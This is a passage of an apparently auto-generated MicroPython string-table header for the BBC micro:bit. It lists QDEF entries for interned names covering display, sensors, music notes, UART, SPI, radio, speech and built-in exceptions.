\"SNAKE\")\nQDEF(MP_QSTR_ALL_ARROWS, (const byte*)\"\\xf1\\x0a\" \"ALL_ARROWS\")\nQDEF(MP_QSTR_ALL_CLOCKS, (const byte*)\"\\xc0\\x0a\" \"ALL_CLOCKS\")\nQDEF(MP_QSTR_MicroBitDisplay, (const byte*)\"\\x5a\\x0f\" \"MicroBitDisplay\")\nQDEF(MP_QSTR_set_brightness, (const byte*)\"\\x91\\x0e\" \"set_brightness\")\nQDEF(MP_QSTR_set_display_mode, (const byte*)\"\\x9e\\x10\" \"set_display_mode\")\nQDEF(MP_QSTR_display, (const byte*)\"\\x1f\\x07\" \"display\")\nQDEF(MP_QSTR_show, (const byte*)\"\\x86\\x04\" \"show\")\nQDEF(MP_QSTR_scroll, (const byte*)\"\\x28\\x06\" \"scroll\")\nQDEF(MP_QSTR_delay, (const byte*)\"\\x50\\x05\" \"delay\")\nQDEF(MP_QSTR_stride, (const byte*)\"\\xb8\\x06\" \"stride\")\nQDEF(MP_QSTR_start, (const byte*)\"\\x85\\x05\" \"start\")\nQDEF(MP_QSTR_wait, (const byte*)\"\\x8e\\x04\" \"wait\")\nQDEF(MP_QSTR_loop, (const byte*)\"\\x39\\x04\" \"loop\")\nQDEF(MP_QSTR_copy, (const byte*)\"\\xe0\\x04\" \"copy\")\nQDEF(MP_QSTR_crop, (const byte*)\"\\x0b\\x04\" \"crop\")\nQDEF(MP_QSTR_slice, (const byte*)\"\\xb5\\x05\" \"slice\")\nQDEF(MP_QSTR_text, (const byte*)\"\\x98\\x04\" \"text\")\nQDEF(MP_QSTR_SlicedImage, (const byte*)\"\\xf6\\x0b\" \"SlicedImage\")\nQDEF(MP_QSTR_ScrollingString, (const byte*)\"\\xbd\\x0f\" \"ScrollingString\")\nQDEF(MP_QSTR_on, (const byte*)\"\\x64\\x02\" \"on\")\nQDEF(MP_QSTR_off, (const byte*)\"\\x8a\\x03\" \"off\")\nQDEF(MP_QSTR_is_on, (const byte*)\"\\x61\\x05\" \"is_on\")\nQDEF(MP_QSTR_Facade, (const byte*)\"\\xc1\\x06\" \"Facade\")\nQDEF(MP_QSTR_MicroBitButton, (const byte*)\"\\x16\\x0e\" \"MicroBitButton\")\nQDEF(MP_QSTR_button_a, (const byte*)\"\\xed\\x08\" \"button_a\")\nQDEF(MP_QSTR_button_b, (const byte*)\"\\xee\\x08\" \"button_b\")\nQDEF(MP_QSTR_is_pressed, (const byte*)\"\\xe6\\x0a\" \"is_pressed\")\nQDEF(MP_QSTR_was_pressed, (const byte*)\"\\xf9\\x0b\" \"was_pressed\")\nQDEF(MP_QSTR_get_presses, (const byte*)\"\\xfd\\x0b\" \"get_presses\")\nQDEF(MP_QSTR_MicroBitAccelerometer, (const byte*)\"\\x5b\\x15\" \"MicroBitAccelerometer\")\nQDEF(MP_QSTR_accelerometer, (const byte*)\"\\x1e\\x0d\" \"accelerometer\")\nQDEF(MP_QSTR_get_x, (const byte*)\"\\x34\\x05\" \"get_x\")\nQDEF(MP_QSTR_get_y, (const byte*)\"\\x35\\x05\" \"get_y\")\nQDEF(MP_QSTR_get_z, (const byte*)\"\\x36\\x05\" \"get_z\")\nQDEF(MP_QSTR_get_values, (const byte*)\"\\xf4\\x0a\" \"get_values\")\nQDEF(MP_QSTR_current_gesture, (const byte*)\"\\xd4\\x0f\" \"current_gesture\")\nQDEF(MP_QSTR_is_gesture, (const byte*)\"\\x07\\x0a\" \"is_gesture\")\nQDEF(MP_QSTR_was_gesture, (const byte*)\"\\xd8\\x0b\" \"was_gesture\")\nQDEF(MP_QSTR_get_gestures, (const byte*)\"\\x18\\x0c\" \"get_gestures\")\nQDEF(MP_QSTR_up, (const byte*)\"\\xa0\\x02\" \"up\")\nQDEF(MP_QSTR_down, (const byte*)\"\\x37\\x04\" \"down\")\nQDEF(MP_QSTR_left, (const byte*)\"\\xde\\x04\" \"left\")\nQDEF(MP_QSTR_right, (const byte*)\"\\xe5\\x05\" \"right\")\nQDEF(MP_QSTR_face_space_up, (const byte*)\"\\x21\\x07\" \"face up\")\nQDEF(MP_QSTR_face_space_down, (const byte*)\"\\x36\\x09\" \"face down\")\nQDEF(MP_QSTR_freefall, (const byte*)\"\\xb6\\x08\" \"freefall\")\nQDEF(MP_QSTR_3g, (const byte*)\"\\x31\\x02\" \"3g\")\nQDEF(MP_QSTR_6g, (const byte*)\"\\x94\\x02\" \"6g\")\nQDEF(MP_QSTR_8g, (const byte*)\"\\x5a\\x02\" \"8g\")\nQDEF(MP_QSTR_shake, (const byte*)\"\\x31\\x05\" \"shake\")\nQDEF(MP_QSTR_MicroBitCompass, (const byte*)\"\\x10\\x0f\" \"MicroBitCompass\")\nQDEF(MP_QSTR_compass, (const byte*)\"\\x55\\x07\" \"compass\")\nQDEF(MP_QSTR_heading, (const byte*)\"\\x2d\\x07\" \"heading\")\nQDEF(MP_QSTR_is_calibrated, (const byte*)\"\\x23\\x0d\" \"is_calibrated\")\nQDEF(MP_QSTR_calibrate, (const byte*)\"\\x02\\x09\" \"calibrate\")\nQDEF(MP_QSTR_clear_calibration, (const byte*)\"\\x49\\x11\" \"clear_calibration\")\nQDEF(MP_QSTR_get_field_strength, (const byte*)\"\\xf4\\x12\" \"get_field_strength\")\nQDEF(MP_QSTR_MicroBitI2C, (const byte*)\"\\xb8\\x0b\" \"MicroBitI2C\")\nQDEF(MP_QSTR_i2c, (const byte*)\"\\x5d\\x03\" \"i2c\")\nQDEF(MP_QSTR_read, (const byte*)\"\\xb7\\x04\" \"read\")\nQDEF(MP_QSTR_write, (const byte*)\"\\x98\\x05\" \"write\")\nQDEF(MP_QSTR_addr, (const byte*)\"\\xb6\\x04\" \"addr\")\nQDEF(MP_QSTR_n, (const byte*)\"\\xcb\\x01\" \"n\")\nQDEF(MP_QSTR_buf, (const byte*)\"\\x74\\x03\" \"buf\")\nQDEF(MP_QSTR_repeat, (const byte*)\"\\xf2\\x06\" \"repeat\")\nQDEF(MP_QSTR_freq, (const byte*)\"\\xe5\\x04\" \"freq\")\nQDEF(MP_QSTR_sda, (const byte*)\"\\x53\\x03\" \"sda\")\nQDEF(MP_QSTR_scl, (const byte*)\"\\xf9\\x03\" \"scl\")\nQDEF(MP_QSTR_music, (const byte*)\"\\x04\\x05\" \"music\")\nQDEF(MP_QSTR_frequency, (const byte*)\"\\xa1\\x09\" \"frequency\")\nQDEF(MP_QSTR_duration, (const byte*)\"\\x7b\\x08\" \"duration\")\nQDEF(MP_QSTR_pitch, (const byte*)\"\\x83\\x05\" \"pitch\")\nQDEF(MP_QSTR_pin, (const byte*)\"\\xf2\\x03\" \"pin\")\nQDEF(MP_QSTR_play, (const byte*)\"\\x21\\x04\" \"play\")\nQDEF(MP_QSTR_set_tempo, (const byte*)\"\\x9b\\x09\" \"set_tempo\")\nQDEF(MP_QSTR_get_tempo, (const byte*)\"\\x8f\\x09\" \"get_tempo\")\nQDEF(MP_QSTR_bpm, (const byte*)\"\\xda\\x03\" \"bpm\")\nQDEF(MP_QSTR_ticks, (const byte*)\"\\x43\\x05\" \"ticks\")\nQDEF(MP_QSTR_BADDY, (const byte*)\"\\x9f\\x05\" \"BADDY\")\nQDEF(MP_QSTR_BA_DING, (const byte*)\"\\x9d\\x07\" \"BA_DING\")\nQDEF(MP_QSTR_BIRTHDAY, (const byte*)\"\\xfc\\x08\" \"BIRTHDAY\")\nQDEF(MP_QSTR_BLUES, (const byte*)\"\\xc8\\x05\" \"BLUES\")\nQDEF(MP_QSTR_CHASE, (const byte*)\"\\x59\\x05\" \"CHASE\")\nQDEF(MP_QSTR_DADADADUM, (const byte*)\"\\xfc\\x09\" \"DADADADUM\")\nQDEF(MP_QSTR_ENTERTAINER, (const byte*)\"\\x48\\x0b\" \"ENTERTAINER\")\nQDEF(MP_QSTR_FUNERAL, (const byte*)\"\\x42\\x07\" \"FUNERAL\")\nQDEF(MP_QSTR_FUNK, (const byte*)\"\\xd3\\x04\" \"FUNK\")\nQDEF(MP_QSTR_JUMP_DOWN, (const byte*)\"\\xaa\\x09\" \"JUMP_DOWN\")\nQDEF(MP_QSTR_JUMP_UP, (const byte*)\"\\xfd\\x07\" \"JUMP_UP\")\nQDEF(MP_QSTR_NYAN, (const byte*)\"\\x3d\\x04\" \"NYAN\")\nQDEF(MP_QSTR_ODE, (const byte*)\"\\x6b\\x03\" \"ODE\")\nQDEF(MP_QSTR_POWER_DOWN, (const byte*)\"\\x97\\x0a\" \"POWER_DOWN\")\nQDEF(MP_QSTR_POWER_UP, (const byte*)\"\\x01\\x08\" \"POWER_UP\")\nQDEF(MP_QSTR_PRELUDE, (const byte*)\"\\x3a\\x07\" \"PRELUDE\")\nQDEF(MP_QSTR_PUNCHLINE, (const byte*)\"\\xeb\\x09\" \"PUNCHLINE\")\nQDEF(MP_QSTR_PYTHON, (const byte*)\"\\xb1\\x06\" \"PYTHON\")\nQDEF(MP_QSTR_RINGTONE, (const byte*)\"\\xc7\\x08\" \"RINGTONE\")\nQDEF(MP_QSTR_WAWAWAWAA, (const byte*)\"\\x64\\x09\" \"WAWAWAWAA\")\nQDEF(MP_QSTR_WEDDING, (const byte*)\"\\x17\\x07\" \"WEDDING\")\nQDEF(MP_QSTR_a, (const byte*)\"\\xc4\\x01\" \"a\")\nQDEF(MP_QSTR_a_hash_, (const byte*)\"\\x67\\x02\" \"a#\")\nQDEF(MP_QSTR_a_hash__colon_1, (const byte*)\"\\x2c\\x04\" \"a#:1\")\nQDEF(MP_QSTR_a_hash__colon_3, (const byte*)\"\\x2e\\x04\" \"a#:3\")\nQDEF(MP_QSTR_a2, (const byte*)\"\\x76\\x02\" \"a2\")\nQDEF(MP_QSTR_a4, (const byte*)\"\\x70\\x02\" \"a4\")\nQDEF(MP_QSTR_a4_colon_1, (const byte*)\"\\xbb\\x04\" \"a4:1\")\nQDEF(MP_QSTR_a4_colon_3, (const byte*)\"\\xb9\\x04\" \"a4:3\")\nQDEF(MP_QSTR_a_colon_1, (const byte*)\"\\x0f\\x03\" \"a:1\")\nQDEF(MP_QSTR_a_colon_2, (const byte*)\"\\x0c\\x03\" \"a:2\")\nQDEF(MP_QSTR_a_colon_4, (const byte*)\"\\x0a\\x03\" \"a:4\")\nQDEF(MP_QSTR_a_colon_5, (const byte*)\"\\x0b\\x03\" \"a:5\")\nQDEF(MP_QSTR_b, (const byte*)\"\\xc7\\x01\" \"b\")\nQDEF(MP_QSTR_b2_colon_1, (const byte*)\"\\xde\\x04\" \"b2:1\")\nQDEF(MP_QSTR_b3, (const byte*)\"\\x94\\x02\" \"b3\")\nQDEF(MP_QSTR_b4, (const byte*)\"\\x93\\x02\" \"b4\")\nQDEF(MP_QSTR_b4_colon_1, (const byte*)\"\\xd8\\x04\" \"b4:1\")\nQDEF(MP_QSTR_b4_colon_2, (const byte*)\"\\xdb\\x04\" \"b4:2\")\nQDEF(MP_QSTR_b5, (const byte*)\"\\x92\\x02\" \"b5\")\nQDEF(MP_QSTR_b5_colon_1, (const byte*)\"\\xd9\\x04\" \"b5:1\")\nQDEF(MP_QSTR_b_colon_1, (const byte*)\"\\x0c\\x03\" \"b:1\")\nQDEF(MP_QSTR_b_colon_2, (const byte*)\"\\x0f\\x03\" \"b:2\")\nQDEF(MP_QSTR_c, (const byte*)\"\\xc6\\x01\" \"c\")\nQDEF(MP_QSTR_c_hash_, (const byte*)\"\\xa5\\x02\" \"c#\")\nQDEF(MP_QSTR_c_hash_5, (const byte*)\"\\x70\\x03\" \"c#5\")\nQDEF(MP_QSTR_c_hash_5_colon_1, (const byte*)\"\\xbb\\x05\" \"c#5:1\")\nQDEF(MP_QSTR_c_hash_5_colon_2, (const byte*)\"\\xb8\\x05\" \"c#5:2\")\nQDEF(MP_QSTR_c_hash__colon_1, (const byte*)\"\\x6e\\x04\" \"c#:1\")\nQDEF(MP_QSTR_c_hash__colon_8, (const byte*)\"\\x67\\x04\" \"c#:8\")\nQDEF(MP_QSTR_c2_colon_2, (const byte*)\"\\xfc\\x04\" \"c2:2\")\nQDEF(MP_QSTR_c3, (const byte*)\"\\xb5\\x02\" \"c3\")\nQDEF(MP_QSTR_c3_colon_3, (const byte*)\"\\x7c\\x04\" \"c3:3\")\nQDEF(MP_QSTR_c3_colon_4, (const byte*)\"\\x7b\\x04\" \"c3:4\")\nQDEF(MP_QSTR_c4, (const byte*)\"\\xb2\\x02\" \"c4\")\nQDEF(MP_QSTR_c4_colon_1, (const byte*)\"\\xf9\\x04\" \"c4:1\")\nQDEF(MP_QSTR_c4_colon_3, (const byte*)\"\\xfb\\x04\" \"c4:3\")\nQDEF(MP_QSTR_c4_colon_4, (const byte*)\"\\xfc\\x04\" \"c4:4\")\nQDEF(MP_QSTR_c5, (const byte*)\"\\xb3\\x02\" \"c5\")\nQDEF(MP_QSTR_c5_colon_1, (const byte*)\"\\x78\\x04\" \"c5:1\")\nQDEF(MP_QSTR_c5_colon_2, (const byte*)\"\\x7b\\x04\" \"c5:2\")\nQDEF(MP_QSTR_c5_colon_3, (const byte*)\"\\x7a\\x04\" \"c5:3\")\nQDEF(MP_QSTR_c5_colon_4, (const byte*)\"\\x7d\\x04\" \"c5:4\")\nQDEF(MP_QSTR_c_colon_1, (const byte*)\"\\x0d\\x03\" \"c:1\")\nQDEF(MP_QSTR_c_colon_2, (const byte*)\"\\x0e\\x03\" \"c:2\")\nQDEF(MP_QSTR_c_colon_3, (const byte*)\"\\x0f\\x03\" \"c:3\")\nQDEF(MP_QSTR_c_colon_4, (const byte*)\"\\x08\\x03\" \"c:4\")\nQDEF(MP_QSTR_c_colon_8, (const byte*)\"\\x04\\x03\" \"c:8\")\nQDEF(MP_QSTR_d, (const byte*)\"\\xc1\\x01\" \"d\")\nQDEF(MP_QSTR_d_hash_, (const byte*)\"\\xc2\\x02\" \"d#\")\nQDEF(MP_QSTR_d_hash_5_colon_2, (const byte*)\"\\xff\\x05\" \"d#5:2\")\nQDEF(MP_QSTR_d_hash__colon_2, (const byte*)\"\\x0a\\x04\" \"d#:2\")\nQDEF(MP_QSTR_d_hash__colon_3, (const byte*)\"\\x0b\\x04\" \"d#:3\")\nQDEF(MP_QSTR_d3, (const byte*)\"\\xd2\\x02\" \"d3\")\nQDEF(MP_QSTR_d4, (const byte*)\"\\xd5\\x02\" \"d4\")\nQDEF(MP_QSTR_d4_colon_1, (const byte*)\"\\x1e\\x04\" \"d4:1\")\nQDEF(MP_QSTR_d5, (const byte*)\"\\xd4\\x02\" \"d5\")\nQDEF(MP_QSTR_d5_colon_1, (const byte*)\"\\x1f\\x04\" \"d5:1\")\nQDEF(MP_QSTR_d5_colon_2, (const byte*)\"\\x1c\\x04\" \"d5:2\")\nQDEF(MP_QSTR_d_colon_1, (const byte*)\"\\x0a\\x03\" \"d:1\")\nQDEF(MP_QSTR_d_colon_2, (const byte*)\"\\x09\\x03\" \"d:2\")\nQDEF(MP_QSTR_d_colon_3, (const byte*)\"\\x08\\x03\" \"d:3\")\nQDEF(MP_QSTR_d_colon_4, (const byte*)\"\\x0f\\x03\" \"d:4\")\nQDEF(MP_QSTR_d_colon_5, (const byte*)\"\\x0e\\x03\" \"d:5\")\nQDEF(MP_QSTR_d_colon_6, (const byte*)\"\\x0d\\x03\" \"d:6\")\nQDEF(MP_QSTR_d_colon_8, (const byte*)\"\\x03\\x03\" \"d:8\")\nQDEF(MP_QSTR_e, (const byte*)\"\\xc0\\x01\" \"e\")\nQDEF(MP_QSTR_e3_colon_3, (const byte*)\"\\xba\\x04\" \"e3:3\")\nQDEF(MP_QSTR_e4, (const byte*)\"\\xf4\\x02\" \"e4\")\nQDEF(MP_QSTR_e4_colon_1, (const byte*)\"\\x3f\\x04\" \"e4:1\")\nQDEF(MP_QSTR_e5, (const byte*)\"\\xf5\\x02\" \"e5\")\nQDEF(MP_QSTR_e6_colon_3, (const byte*)\"\\x3f\\x04\" \"e6:3\")\nQDEF(MP_QSTR_e_colon_1, (const byte*)\"\\x0b\\x03\" \"e:1\")\nQDEF(MP_QSTR_e_colon_2, (const byte*)\"\\x08\\x03\" \"e:2\")\nQDEF(MP_QSTR_e_colon_3, (const byte*)\"\\x09\\x03\" \"e:3\")\nQDEF(MP_QSTR_e_colon_4, (const byte*)\"\\x0e\\x03\" \"e:4\")\nQDEF(MP_QSTR_e_colon_5, (const byte*)\"\\x0f\\x03\" \"e:5\")\nQDEF(MP_QSTR_e_colon_6, (const byte*)\"\\x0c\\x03\" \"e:6\")\nQDEF(MP_QSTR_e_colon_8, (const byte*)\"\\x02\\x03\" \"e:8\")\nQDEF(MP_QSTR_eb_colon_8, (const byte*)\"\\xe0\\x04\" \"eb:8\")\nQDEF(MP_QSTR_f, (const byte*)\"\\xc3\\x01\" \"f\")\nQDEF(MP_QSTR_f_hash_, (const byte*)\"\\x01\\x02\" \"f#\")\nQDEF(MP_QSTR_f_hash_5, (const byte*)\"\\x35\\x03\" \"f#5\")\nQDEF(MP_QSTR_f_hash_5_colon_2, (const byte*)\"\\xfd\\x05\" \"f#5:2\")\nQDEF(MP_QSTR_f_hash__colon_1, (const byte*)\"\\x4b\\x04\" \"f#:1\")\nQDEF(MP_QSTR_f_hash__colon_2, (const byte*)\"\\x48\\x04\" \"f#:2\")\nQDEF(MP_QSTR_f_hash__colon_8, (const byte*)\"\\x42\\x04\" \"f#:8\")\nQDEF(MP_QSTR_f2, (const byte*)\"\\x11\\x02\" \"f2\")\nQDEF(MP_QSTR_f_colon_1, (const byte*)\"\\x08\\x03\" \"f:1\")\nQDEF(MP_QSTR_f_colon_2, (const byte*)\"\\x0b\\x03\" \"f:2\")\nQDEF(MP_QSTR_f_colon_3, (const byte*)\"\\x0a\\x03\" \"f:3\")\nQDEF(MP_QSTR_f_colon_4, (const byte*)\"\\x0d\\x03\" \"f:4\")\nQDEF(MP_QSTR_f_colon_8, (const byte*)\"\\x01\\x03\" \"f:8\")\nQDEF(MP_QSTR_g, (const byte*)\"\\xc2\\x01\" \"g\")\nQDEF(MP_QSTR_g_hash_, (const byte*)\"\\x21\\x02\" \"g#\")\nQDEF(MP_QSTR_g_hash__colon_1, (const byte*)\"\\xea\\x04\" \"g#:1\")\nQDEF(MP_QSTR_g_hash__colon_3, (const byte*)\"\\xe8\\x04\" \"g#:3\")\nQDEF(MP_QSTR_g3_colon_1, (const byte*)\"\\xfa\\x04\" \"g3:1\")\nQDEF(MP_QSTR_g4, (const byte*)\"\\x36\\x02\" \"g4\")\nQDEF(MP_QSTR_g4_colon_1, (const byte*)\"\\x7d\\x04\" \"g4:1\")\nQDEF(MP_QSTR_g4_colon_2, (const byte*)\"\\x7e\\x04\" \"g4:2\")\nQDEF(MP_QSTR_g5, (const byte*)\"\\x37\\x02\" \"g5\")\nQDEF(MP_QSTR_g5_colon_1, (const byte*)\"\\xfc\\x04\" \"g5:1\")\nQDEF(MP_QSTR_g_colon_1, (const byte*)\"\\x09\\x03\" \"g:1\")\nQDEF(MP_QSTR_g_colon_2, (const byte*)\"\\x0a\\x03\" \"g:2\")\nQDEF(MP_QSTR_g_colon_3, (const byte*)\"\\x0b\\x03\" \"g:3\")\nQDEF(MP_QSTR_g_colon_8, (const byte*)\"\\x01\\x03\" \"g:8\")\nQDEF(MP_QSTR_r, (const byte*)\"\\xd7\\x01\" \"r\")\nQDEF(MP_QSTR_r4_colon_2, (const byte*)\"\\xcb\\x04\" \"r4:2\")\nQDEF(MP_QSTR_r_colon_1, (const byte*)\"\\x1c\\x03\" \"r:1\")\nQDEF(MP_QSTR_r_colon_2, (const byte*)\"\\x1f\\x03\" \"r:2\")\nQDEF(MP_QSTR_r_colon_3, (const byte*)\"\\x1e\\x03\" \"r:3\")\nQDEF(MP_QSTR_MicroBitUART, (const byte*)\"\\x32\\x0c\" \"MicroBitUART\")\nQDEF(MP_QSTR_uart, (const byte*)\"\\x77\\x04\" \"uart\")\nQDEF(MP_QSTR_init, (const byte*)\"\\x1f\\x04\" \"init\")\nQDEF(MP_QSTR_baudrate, (const byte*)\"\\xf5\\x08\" \"baudrate\")\nQDEF(MP_QSTR_bits, (const byte*)\"\\x49\\x04\" \"bits\")\nQDEF(MP_QSTR_parity, (const byte*)\"\\x42\\x06\" \"parity\")\nQDEF(MP_QSTR_stop, (const byte*)\"\\x9d\\x04\" \"stop\")\nQDEF(MP_QSTR_pins, (const byte*)\"\\x41\\x04\" \"pins\")\nQDEF(MP_QSTR_tx, (const byte*)\"\\x89\\x02\" \"tx\")\nQDEF(MP_QSTR_rx, (const byte*)\"\\xcf\\x02\" \"rx\")\nQDEF(MP_QSTR_any, (const byte*)\"\\x13\\x03\" \"any\")\nQDEF(MP_QSTR_readall, (const byte*)\"\\x76\\x07\" \"readall\")\nQDEF(MP_QSTR_readline, (const byte*)\"\\xf9\\x08\" \"readline\")\nQDEF(MP_QSTR_readinto, (const byte*)\"\\x4b\\x08\" \"readinto\")\nQDEF(MP_QSTR_ODD, (const byte*)\"\\x6a\\x03\" \"ODD\")\nQDEF(MP_QSTR_EVEN, (const byte*)\"\\xdd\\x04\" \"EVEN\")\nQDEF(MP_QSTR_MicroBitSPI, (const byte*)\"\\x4a\\x0b\" \"MicroBitSPI\")\nQDEF(MP_QSTR_spi, (const byte*)\"\\xcf\\x03\" \"spi\")\nQDEF(MP_QSTR_mode, (const byte*)\"\\x26\\x04\" \"mode\")\nQDEF(MP_QSTR_sclk, (const byte*)\"\\x72\\x04\" \"sclk\")\nQDEF(MP_QSTR_mosi, (const byte*)\"\\x1d\\x04\" \"mosi\")\nQDEF(MP_QSTR_miso, (const byte*)\"\\x9d\\x04\" \"miso\")\nQDEF(MP_QSTR_write_readinto, (const byte*)\"\\x89\\x0e\" \"write_readinto\")\nQDEF(MP_QSTR_neopixel, (const byte*)\"\\x69\\x08\" \"neopixel\")\nQDEF(MP_QSTR_NeoPixel, (const byte*)\"\\x69\\x08\" \"NeoPixel\")\nQDEF(MP_QSTR_clear, (const byte*)\"\\x7c\\x05\" \"clear\")\nQDEF(MP_QSTR_random, (const byte*)\"\\xbe\\x06\" \"random\")\nQDEF(MP_QSTR_getrandbits, (const byte*)\"\\x66\\x0b\" \"getrandbits\")\nQDEF(MP_QSTR_seed, (const byte*)\"\\x92\\x04\" \"seed\")\nQDEF(MP_QSTR_randrange, (const byte*)\"\\xa3\\x09\" \"randrange\")\nQDEF(MP_QSTR_randint, (const byte*)\"\\xaf\\x07\" \"randint\")\nQDEF(MP_QSTR_choice, (const byte*)\"\\x2e\\x06\" \"choice\")\nQDEF(MP_QSTR_uniform, (const byte*)\"\\x01\\x07\" \"uniform\")\nQDEF(MP_QSTR_audio, (const byte*)\"\\x53\\x05\" \"audio\")\nQDEF(MP_QSTR_AudioFrame, (const byte*)\"\\xae\\x0a\" \"AudioFrame\")\nQDEF(MP_QSTR_return_pin, (const byte*)\"\\x27\\x0a\" \"return_pin\")\nQDEF(MP_QSTR_source, (const byte*)\"\\xb8\\x06\" \"source\")\nQDEF(MP_QSTR_copyfrom, (const byte*)\"\\x56\\x08\" \"copyfrom\")\nQDEF(MP_QSTR_name, (const byte*)\"\\xa2\\x04\" \"name\")\nQDEF(MP_QSTR_os, (const byte*)\"\\x79\\x02\" \"os\")\nQDEF(MP_QSTR_uname, (const byte*)\"\\xb7\\x05\" \"uname\")\nQDEF(MP_QSTR_micropython, (const byte*)\"\\x0b\\x0b\" \"micropython\")\nQDEF(MP_QSTR_sysname, (const byte*)\"\\x9b\\x07\" \"sysname\")\nQDEF(MP_QSTR_nodename, (const byte*)\"\\x62\\x08\" \"nodename\")\nQDEF(MP_QSTR_release, (const byte*)\"\\xec\\x07\" \"release\")\nQDEF(MP_QSTR_version, (const byte*)\"\\xbf\\x07\" \"version\")\nQDEF(MP_QSTR_BytesIO, (const byte*)\"\\x1a\\x07\" \"BytesIO\")\nQDEF(MP_QSTR_TextIO, (const byte*)\"\\x1e\\x06\" \"TextIO\")\nQDEF(MP_QSTR_writable, (const byte*)\"\\xf7\\x08\" \"writable\")\nQDEF(MP_QSTR_listdir, (const byte*)\"\\x98\\x07\" \"listdir\")\nQDEF(MP_QSTR_machine, (const byte*)\"\\x60\\x07\" \"machine\")\nQDEF(MP_QSTR_size, (const byte*)\"\\x20\\x04\" \"size\")\nQDEF(MP_QSTR_is_playing, (const byte*)\"\\x04\\x0a\" \"is_playing\")\nQDEF(MP_QSTR_speech, (const byte*)\"\\x6d\\x06\" \"speech\")\nQDEF(MP_QSTR_say, (const byte*)\"\\xae\\x03\" \"say\")\nQDEF(MP_QSTR_pronounce, (const byte*)\"\\x94\\x09\" \"pronounce\")\nQDEF(MP_QSTR_sing, (const byte*)\"\\xb6\\x04\" \"sing\")\nQDEF(MP_QSTR_throat, (const byte*)\"\\x31\\x06\" \"throat\")\nQDEF(MP_QSTR_mouth, (const byte*)\"\\x6e\\x05\" \"mouth\")\nQDEF(MP_QSTR_speed, (const byte*)\"\\x62\\x05\" \"speed\")\nQDEF(MP_QSTR_debug, (const byte*)\"\\xd4\\x05\" \"debug\")\nQDEF(MP_QSTR_translate, (const byte*)\"\\x43\\x09\" \"translate\")\nQDEF(MP_QSTR_radio, (const byte*)\"\\xd4\\x05\" \"radio\")\nQDEF(MP_QSTR_config, (const byte*)\"\\x4f\\x06\" \"config\")\nQDEF(MP_QSTR_send_bytes, (const byte*)\"\\xbf\\x0a\" \"send_bytes\")\nQDEF(MP_QSTR_receive_bytes, (const byte*)\"\\x88\\x0d\" \"receive_bytes\")\nQDEF(MP_QSTR_send, (const byte*)\"\\xb9\\x04\" \"send\")\nQDEF(MP_QSTR_receive, (const byte*)\"\\x4e\\x07\" \"receive\")\nQDEF(MP_QSTR_receive_bytes_into, (const byte*)\"\\x6b\\x12\" \"receive_bytes_into\")\nQDEF(MP_QSTR_receive_full, (const byte*)\"\\x02\\x0c\" \"receive_full\")\nQDEF(MP_QSTR_length, (const byte*)\"\\x59\\x06\" \"length\")\nQDEF(MP_QSTR_queue, (const byte*)\"\\x94\\x05\" \"queue\")\nQDEF(MP_QSTR_channel, (const byte*)\"\\x26\\x07\" \"channel\")\nQDEF(MP_QSTR_power, (const byte*)\"\\xda\\x05\" \"power\")\nQDEF(MP_QSTR_data_rate, (const byte*)\"\\xa8\\x09\" \"data_rate\")\nQDEF(MP_QSTR_address, (const byte*)\"\\x73\\x07\" \"address\")\nQDEF(MP_QSTR_group, (const byte*)\"\\xba\\x05\" \"group\")\nQDEF(MP_QSTR_RATE_250KBIT, (const byte*)\"\\x7b\\x0c\" \"RATE_250KBIT\")\nQDEF(MP_QSTR_RATE_1MBIT, (const byte*)\"\\xdb\\x0a\" \"RATE_1MBIT\")\nQDEF(MP_QSTR_RATE_2MBIT, (const byte*)\"\\x58\\x0a\" \"RATE_2MBIT\")\nQDEF(MP_QSTR_ArithmeticError, (const byte*)\"\\x2d\\x0f\" \"ArithmeticError\")\nQDEF(MP_QSTR_AssertionError, (const byte*)\"\\x97\\x0e\" \"AssertionError\")\nQDEF(MP_QSTR_AttributeError, (const byte*)\"\\x21\\x0e\" \"AttributeError\")\nQDEF(MP_QSTR_BaseException, (const byte*)\"\\x07\\x0d\" \"BaseException\")\nQDEF(MP_QSTR_EOFError, (const byte*)\"\\x91\\x08\" \"EOFError\")\nQDEF(MP_QSTR_Ellipsis, (const byte*)\"\\xf0\\x08\" \"Ellipsis\")\nQDEF(MP_QSTR_Exception, (const byte*)\"\\xf2\\x09\" \"Exception\")\nQDEF(MP_QSTR_GeneratorExit, (const byte*)\"\\x16\\x0d\" \"GeneratorExit\")\nQDEF(MP_QSTR_ImportError, (const byte*)\"\\x20\\x0b\" \"ImportError\")\nQDEF(MP_QSTR_IndentationError, (const byte*)\"\\x5c\\x10\" \"IndentationError\")\nQDEF(MP_QSTR_IndexError, (const byte*)\"\\x83\\x0a\" \"IndexError\")\nQDEF(MP_QSTR_KeyError, (const byte*)\"\\xea\\x08\" \"KeyError\")\nQDEF(MP_QSTR_KeyboardInterrupt, (const byte*)\"\\xaf\\x11\" \"KeyboardInterrupt\")\nQDEF(MP_QSTR_LookupError, (const byte*)\"\\xff\\x0b\" \"LookupError\")\nQDEF(MP_QSTR_MemoryError, (const byte*)\"\\xdc\\x0b\" \"MemoryError\")\nQDEF(MP_QSTR_NameError, (const byte*)\"\\xba\\x09\" \"NameError\")\nQDEF(MP_QSTR_NoneType, (const byte*)\"\\x17\\x08\" \"NoneType\")\nQDEF(MP_QSTR_NotImplementedError, (const byte*)\"\\xc6\\x13\" \"NotImplementedError\")\nQDEF(MP_QSTR_OSError, (const byte*)\"\\xa1\\x07\" \"OSError\")\nQDEF(MP_QSTR_OrderedDict, (const byte*)\"\\xf0\\x0b\" \"OrderedDict\")\nQDEF(MP_QSTR_OverflowError, (const byte*)\"\\x81\\x0d\" \"OverflowError\")\nQDEF(MP_QSTR_RuntimeError, (const byte*)\"\\x61\\x0c\" \"RuntimeError\")\nQDEF(MP_QSTR_StopIteration, (const byte*)\"\\xea\\x0d\" \"StopIteration\")\nQDEF(MP_QSTR_SyntaxError, (const byte*)\"\\x94\\x0b\" \"SyntaxError\")\nQDEF(MP_QSTR_SystemExit, (const byte*)\"\\x20\\x0a\" \"SystemExit\")\nQDEF(MP_QSTR_TypeError, (const byte*)\"\\x25\\x09\" \"TypeError\")\nQDEF(MP_QSTR_UnicodeError, (const byte*)\"\\x22\\x0c\" \"UnicodeError\")\nQDEF(MP_QSTR_ValueError, (const byte*)\"\\x96\\x0a\" \"ValueError\")\nQDEF(MP_QSTR_ZeroDivisionError, (const byte*)\"\\xb6\\x11\" \"ZeroDivisionError\")\nQDEF(MP_QSTR___add__, (const byte*)\"\\xc4\\x07\" \"__add__\")\nQDEF(MP_QSTR___bool__, (const byte*)\"\\x2b\\x08\" 